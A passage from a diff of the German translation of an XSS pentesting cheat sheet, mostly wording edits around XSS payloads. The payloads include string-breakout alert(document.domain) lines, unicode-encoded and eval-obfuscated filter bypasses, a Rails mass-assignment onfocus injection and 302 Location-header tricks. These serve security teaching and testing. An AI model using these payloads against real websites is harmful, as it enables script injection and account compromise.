**HTML-Tags zur Ausführung von JS** zu deklarieren: +Sie können **Hex-** und **Oktalcodierung** im `src`-Attribut von `iframe` (mindestens) verwenden, um **HTML-Tags zur Ausführung von JS zu deklarieren**: ```javascript //Encoded: // This WORKS @@ -384,10 +384,10 @@ Wenn Sie eine beliebige URL in einem beliebigen **` //No safari @@ -404,7 +404,7 @@ Android: %09 %20 %28 %2C %3B ``` ### XSS in "Nicht ausnutzbare Tags" (versteckte Eingabe, Link, kanonisch, Meta) -Von [**hier**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **ist es jetzt möglich, versteckte Eingaben zu missbrauchen mit:** +Von [**hier**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **ist es jetzt möglich, versteckte Eingaben zu missbrauchen:** ```html ``` -Beachten Sie, dass wir in diesem Beispiel **nicht einmal das einfache Anführungszeichen geschlossen haben**. Dies liegt daran, dass zuerst das **HTML-Parsing vom Browser durchgeführt wird**, was die Identifizierung von Seitenelementen einschließt, einschließlich der Scriptblöcke. Das Parsen von JavaScript, um die eingebetteten Skripte zu verstehen und auszuführen, wird erst danach durchgeführt. +Beachten Sie, dass wir in diesem Beispiel **nicht einmal das einfache Anführungszeichen geschlossen haben**. Dies liegt daran, dass zuerst das **HTML-Parsing vom Browser durchgeführt wird**, was die Identifizierung von Seitenelementen einschließt, einschließlich Blöcken von Skripten. Das Parsen von JavaScript, um die eingebetteten Skripte zu verstehen und auszuführen, wird erst danach durchgeführt. ### Innerhalb des JS-Codes -Wenn `<>` bereinigt werden, können Sie immer noch den Zeichenfolgenwert **entkommen lassen**, wo Ihre Eingabe **platziert ist** und **beliebiges JS ausführen**. Es ist wichtig, die **JS-Syntax zu korrigieren**, da bei Fehlern der JS-Code nicht ausgeführt wird: +Wenn `<>` bereinigt werden, können Sie immer noch den Zeichenfolgenwert **entkommen lassen**, wo sich Ihre Eingabe **befindet** und **beliebiges JS ausführen**. Es ist wichtig, die **JS-Syntax zu korrigieren**, da bei Fehlern der JS-Code nicht ausgeführt wird: ``` '-alert(document.domain)-' ';alert(document.domain)// @@ -484,7 +484,7 @@ Wenn `<>` bereinigt werden, können Sie immer noch den Zeichenfolgenwert **entko ### Vorlagenliterale \`\` Um **Zeichenfolgen** neben einfachen und doppelten Anführungszeichen zu konstruieren, akzeptiert JS auch **Backticks** **` `` `**. Dies wird als Vorlagenliterale bezeichnet, da sie es ermöglichen, **eingebettete JS-Ausdrücke** mit der Syntax `${ ... }` zu verwenden.\ -Daher, wenn Sie feststellen, dass Ihre Eingabe innerhalb einer JS-Zeichenfolge reflektiert wird, die Backticks verwendet, können Sie die Syntax `${ ... }` missbrauchen, um **beliebigen JS-Code** auszuführen: +Daher, wenn Sie feststellen, dass Ihre Eingabe innerhalb einer JS-Zeichenfolge, die Backticks verwendet, **reflektiert** wird, können Sie die Syntax `${ ... }` missbrauchen, um **beliebigen JS-Code** auszuführen: Dies kann missbraucht werden durch: ```javascript @@ -506,7 +506,7 @@ loop`````````````` ``` ### Unicode Encode JS-Ausführung -In diesem Angriff wird JavaScript-Code in Unicode-Zeichenfolgen kodiert, um XSS-Filter zu umgehen und bösartigen Code auf der Webseite auszuführen. +In diesem Angriff wird JavaScript-Code in Unicode-Zeichenfolgen kodiert, um XSS-Filter zu umgehen. ```javascript \u{61}lert(1) \u0061lert(1) @@ -558,7 +558,7 @@ eval(8680439..toString(30))(983801..toString(36)) #!This is a 1 line comment, but "#!" must to be at the beggining of the first line -->This is a 1 line comment, but "-->" must to be at the beggining of the first line ``` -**JavaScript Zeilenumbrüche (aus dem Trick für** [**JavaScript Zeilenumbruch**](./#javascript-new-lines))** +**JavaScript Zeilenumbrüche (aus dem Trick** [**JavaScript Zeilenumbruch**](./#javascript-new-lines) **)** ```javascript //Javascript interpret as new line these chars: String.fromCharCode(10); alert('//\nalert(1)') //0x0a @@ -744,7 +744,7 @@ Vergessen Sie auch nicht, dass **am Ende des genannten Beitrags** eine Erklärun ### Normalisiertes Unicode -Sie könnten überprüfen, ob die **reflektierten Werte** auf dem Server (oder auf der Clientseite) **unicode-normalisiert** werden und diese Funktionalität nutzen, um Schutzmechanismen zu umgehen. [**Hier finden Sie ein Beispiel**](../unicode-injection/#xss-cross-site-scripting). +Sie könnten überprüfen, ob die **reflektierten Werte** auf dem Server (oder auf der Clientseite) **in Unicode normalisiert** werden und diese Funktionalität nutzen, um Schutzmechanismen zu umgehen. [**Hier finden Sie ein Beispiel**](../unicode-injection/#xss-cross-site-scripting). ### PHP FILTER\_VALIDATE\_EMAIL-Flag-Umgehung ```javascript @@ -752,7 +752,7 @@ Sie könnten überprüfen, ob die **reflektierten Werte** auf dem Server (oder a ``` ### Ruby-On-Rails Umgehung -Aufgrund der **RoR Massenzuweisung** werden Anführungszeichen in das HTML eingefügt und dann wird die Anführungszeichenbeschränkung umgangen und zusätzliche Felder (onfocus) können innerhalb des Tags hinzugefügt werden.\ +Aufgrund von **RoR Massenzuweisung** werden Anführungszeichen in das HTML eingefügt und dann wird die Anführungszeichenbeschränkung umgangen und zusätzliche Felder (onfocus) können innerhalb des Tags hinzugefügt werden.\ Formularbeispiel ([aus diesem Bericht](https://hackerone.com/reports/709336)), wenn Sie das Payload senden: ``` contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa @@ -793,13 +793,14 @@ document['default'+'View'][`\u0061lert`](3) ``` ### XSS mit Header-Injection in einer 302-Antwort -Wenn Sie feststellen, dass Sie **Header in einer 302-Weiterleitungsantwort injizieren können**, könnten Sie versuchen, den Browser dazu zu bringen, beliebigen JavaScript-Code auszuführen. Dies ist **nicht trivial**, da moderne Browser den HTTP-Antwortkörper nicht interpretieren, wenn der HTTP-Antwortstatuscode 302 ist. Daher ist nur ein Cross-Site-Scripting-Payload nutzlos. +Wenn Sie feststellen, dass Sie **Header in einer 302-Weiterleitungsantwort injizieren können**, könnten Sie versuchen, den Browser dazu zu bringen, **beliebigen JavaScript-Code auszuführen**. Dies ist **nicht trivial**, da moderne Browser den HTTP-Antwortkörper nicht interpretieren, wenn der HTTP-Antwortstatuscode 302 ist. Daher ist nur ein Cross-Site-Scripting-Payload nutzlos. -In [**diesem Bericht**](https://www.gremwell.com/firefox-xss-302) und [**diesem hier**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) können Sie nachlesen, wie Sie verschiedene Protokolle im Location-Header testen können, um zu sehen, ob der Browser den XSS-Payload im Körper inspizieren und ausführen kann. Bekannte Protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leerer Location-Header_, `resource://`. +In [**diesem Bericht**](https://www.gremwell.com/firefox-xss-302) und [**diesem hier**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) können Sie nachlesen, wie Sie verschiedene Protokolle im Location-Header testen und prüfen können, ob einer von ihnen es dem Browser ermöglicht, den XSS-Payload im Body zu inspizieren und auszuführen.\ +Bekannte Protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leerer Location-Header_, `resource://`. ### Nur Buchstaben, Zahlen und Punkte -Wenn Sie den **Callback** angeben können, den JavaScript ausführen wird, begrenzt auf diese Zeichen. [**Lesen Sie diesen Abschnitt dieses Beitrags**](./#javascript-function), um herauszufinden, wie Sie dieses Verhalten missbrauchen können. +Wenn Sie den **Callback** angeben können, den JavaScript **ausführen** wird, beschränkt auf diese Zeichen. [**Lesen Sie diesen Abschnitt dieses Beitrags**](./#javascript-function), um herauszufinden, wie Sie dieses Verhalten ausnutzen können. ### Gültige `